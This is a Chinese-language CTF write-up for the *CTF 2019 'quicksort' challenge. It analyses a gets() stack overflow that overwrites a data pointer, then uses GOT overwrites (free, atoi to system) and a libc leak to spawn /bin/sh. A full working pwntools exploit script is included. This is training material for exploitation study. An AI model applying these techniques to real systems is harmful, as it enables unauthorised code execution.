starctf2019-quicksort

介绍

starctf2019的一道题,漏洞很明显,但是不算很好利用。(其实是因为我的利用方式问题,下面会提到如何利用比较简单)

分析程序

程序实现了快速排序,但是漏洞和它完全无关。漏洞点一眼就能看出来gets函数。但是程序开了Canary,所以直接溢出是肯定不行的,但是gets读到的s数组,下面还有很多变量,我们可以通过覆盖这些变量来进行一些操作。

1
2
3
4
5
6
7
int *tmp; // ebx
char s[16]; // [esp+Ch] [ebp-2Ch]
int num; // [esp+1Ch] [ebp-1Ch]
int i; // [esp+20h] [ebp-18h]
int j; // [esp+24h] [ebp-14h]
int *data; // [esp+28h] [ebp-10h]
unsigned int v6; // [esp+2Ch] [ebp-Ch]

我们可以在写s数组的时候,覆盖掉data指针,之后在对data进行写的时候就可以做到任意写了。

利用方式

  1. 覆盖data指针为got表,将free函数改写为sort_func,为了能再次跳回这个函数
  2. 覆盖data指针为got表,打印结果时leak信息(此处重新覆盖是因为,排序函数会打乱got表,我们需要找一个不会影响后续程序的位置)
  3. 覆盖data指针为got表,将atoi函数覆盖为system函数,即可getshell

注:其实后面才想到有比较简单的利用方式。即然都可以写got表了,直接将__stack_chk_fail改掉即可,这样canary检查就无效了,接着就是正常的rop完事。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

# context.log_level = 'debug'

binary = './quicksort'
lib = '/lib/i386-linux-gnu/libc-2.23.so'
p = process(binary)
elf = ELF(binary)
libc = ELF(lib)

p.sendlineafter('how many numbers do you want to sort?','4')
p.recvuntil('the 1th number:')
p.sendline('111')

p.recvuntil('the 2th number:')
sort_func = 0x08048816
# data -> elf.got['free']
# free -> sort_func
p.sendline(str(sort_func).ljust(16,'\x00') + p32(2) +p32(0) + p32(0) + p32(elf.got['free']))

# data -> elf.got['setbuf']
p.recvuntil('the 2th number:')
p.sendline(str(0).ljust(16,'\x00')+ p32(2) + p32(1) + p32(0) + p32(elf.got['setbuf'] -8))

# leak
p.recvuntil('Here is the result:\n')
leak = p.recvuntil(' ')
libc.address = 0xffffffff + int(leak) + 1 - 0x1ed918

p.sendlineafter('how many numbers do you want to sort?','4')
p.recvuntil('the 1th number:')
# data -> elf.got['atoi']
# atoi -> system
p.sendline(str(libc.symbols['system'] - 0xffffffff - 1).ljust(16,'\x00') + p32(2) +p32(0) + p32(0) + p32(elf.got['atoi']))

p.recvuntil('the 2th number:')
p.sendline('/bin/sh')

p.interactive()